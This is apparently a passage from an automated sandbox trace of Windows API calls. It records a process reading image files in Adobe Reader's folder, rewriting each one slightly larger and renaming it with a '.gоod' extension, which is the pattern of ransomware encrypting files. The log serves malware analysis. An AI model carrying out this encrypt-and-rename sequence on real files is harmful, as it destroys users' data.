GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png", lpFilePart=0x0) returned 0x8d [0148.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0148.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0148.240] GetFileType (hFile=0x808) returned 0x1 [0148.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0148.240] GetFileType (hFile=0x808) returned 0x1 [0148.240] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0xe8d [0148.240] ReadFile (in: hFile=0x808, lpBuffer=0x38c0a68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x38c0a68*, lpNumberOfBytesRead=0x1fdeaf88*=0xe8d, lpOverlapped=0x0) returned 1 [0148.379] CloseHandle (hObject=0x808) returned 1 [0150.190] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png", lpFilePart=0x0) returned 0x8d [0150.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0150.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0150.191] GetFileType (hFile=0x644) returned 0x1 [0150.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0150.191] GetFileType (hFile=0x644) returned 0x1 [0150.191] WriteFile (in: hFile=0x644, lpBuffer=0x39493c0*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x39493c0*, lpNumberOfBytesWritten=0x1fdeae98*=0xe90, lpOverlapped=0x0) returned 1 [0150.192] CloseHandle (hObject=0x644) returned 1 [0150.192] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png", lpFilePart=0x0) returned 0x8d [0150.192] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png.gоod", lpFilePart=0x0) returned 0x92 [0150.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0150.192] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x55bc8ae0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe90)) returned 1 [0150.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0150.193] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png.gоod")) returned 1 [0150.193] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png", lpFilePart=0x0) returned 0x71 [0150.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0150.194] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud.png"), fInfoLevelId=0x0, lpFileInformation=0x394a800 | out: lpFileInformation=0x394a800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x84a)) returned 1 [0150.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0150.948] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png", lpFilePart=0x0) returned 0x71 [0150.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0150.948] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0150.979] GetFileType (hFile=0x7fc) returned 0x1 [0150.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0150.979] GetFileType (hFile=0x7fc) returned 0x1 [0150.979] GetFileSize (in: hFile=0x7fc, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0x84a [0150.979] ReadFile (in: hFile=0x7fc, lpBuffer=0x38edcd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x38edcd8*, lpNumberOfBytesRead=0x1fdeaf88*=0x84a, lpOverlapped=0x0) returned 1 [0150.990] CloseHandle (hObject=0x7fc) returned 1 [0152.024] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png", lpFilePart=0x0) returned 0x71 [0152.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0152.024] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0153.550] GetFileType (hFile=0x7f8) returned 0x1 [0153.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0153.550] GetFileType (hFile=0x7f8) returned 0x1 [0153.767] WriteFile (in: hFile=0x7f8, lpBuffer=0x32e3330*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x32e3330*, lpNumberOfBytesWritten=0x1fdeae98*=0x850, lpOverlapped=0x0) returned 1 [0153.810] CloseHandle (hObject=0x7f8) returned 1 [0153.810] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png", lpFilePart=0x0) returned 0x71 [0153.810] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png.gоod", lpFilePart=0x0) returned 0x76 [0153.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0153.811] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x57e39d7f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x850)) returned 1 [0153.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0153.811] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud.png.gоod")) returned 1 [0153.811] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png", lpFilePart=0x0) returned 0x78 [0153.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0153.811] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x3365d70 | out: lpFileInformation=0x3365d70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3181)) returned 1 [0153.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0153.812] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png", lpFilePart=0x0) returned 0x78 [0153.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0153.812] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0153.812] GetFileType (hFile=0x7f8) returned 0x1 [0153.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0153.812] GetFileType (hFile=0x7f8) returned 0x1 [0153.812] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0153.812] ReadFile (in: hFile=0x7f8, lpBuffer=0x3366268, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x3366268*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0153.813] CloseHandle (hObject=0x7f8) returned 1 [0153.814] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png", lpFilePart=0x0) returned 0x78 [0153.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0153.814] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0153.814] GetFileType (hFile=0x7f8) returned 0x1 [0153.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0153.814] GetFileType (hFile=0x7f8) returned 0x1 [0153.814] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x3181 [0153.814] WriteFile (in: hFile=0x7f8, lpBuffer=0x3367570*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x3367570*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0153.815] CloseHandle (hObject=0x7f8) returned 1 [0153.815] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png", lpFilePart=0x0) returned 0x78 [0153.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0153.815] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0153.815] GetFileType (hFile=0x7f8) returned 0x1 [0153.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0153.815] GetFileType (hFile=0x7f8) returned 0x1 [0153.815] ReadFile (in: hFile=0x7f8, lpBuffer=0x3369aa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x3369aa8*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0154.291] CloseHandle (hObject=0x7f8) returned 1 [0154.291] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png", lpFilePart=0x0) returned 0x78 [0154.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0154.291] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0154.291] GetFileType (hFile=0x7f8) returned 0x1 [0154.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0154.291] GetFileType (hFile=0x7f8) returned 0x1 [0154.291] WriteFile (in: hFile=0x7f8, lpBuffer=0x32599e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x32599e8*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0154.292] CloseHandle (hObject=0x7f8) returned 1 [0154.292] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png", lpFilePart=0x0) returned 0x78 [0154.292] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png.gоod", lpFilePart=0x0) returned 0x7d [0154.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0154.292] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x582d83e1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3191)) returned 1 [0154.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0154.292] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud_retina.png.gоod")) returned 1 [0154.293] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png", lpFilePart=0x0) returned 0x72 [0154.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0154.293] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\close_x.png"), fInfoLevelId=0x0, lpFileInformation=0x3324c88 | out: lpFileInformation=0x3324c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x132)) returned 1 [0154.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0154.293] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png", lpFilePart=0x0) returned 0x72 [0154.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0154.293] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\close_x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0154.293] GetFileType (hFile=0x7f8) returned 0x1 [0154.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0154.293] GetFileType (hFile=0x7f8) returned 0x1 [0154.293] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0x132 [0154.293] ReadFile (in: hFile=0x7f8, lpBuffer=0x3325108, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x3325108*, lpNumberOfBytesRead=0x1fdeaf88*=0x132, lpOverlapped=0x0) returned 1 [0154.295] CloseHandle (hObject=0x7f8) returned 1 [0154.322] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png", lpFilePart=0x0) returned 0x72 [0154.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0154.322] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\close_x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0154.324] GetFileType (hFile=0x7f8) returned 0x1 [0154.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0154.324] GetFileType (hFile=0x7f8) returned 0x1 [0154.324] 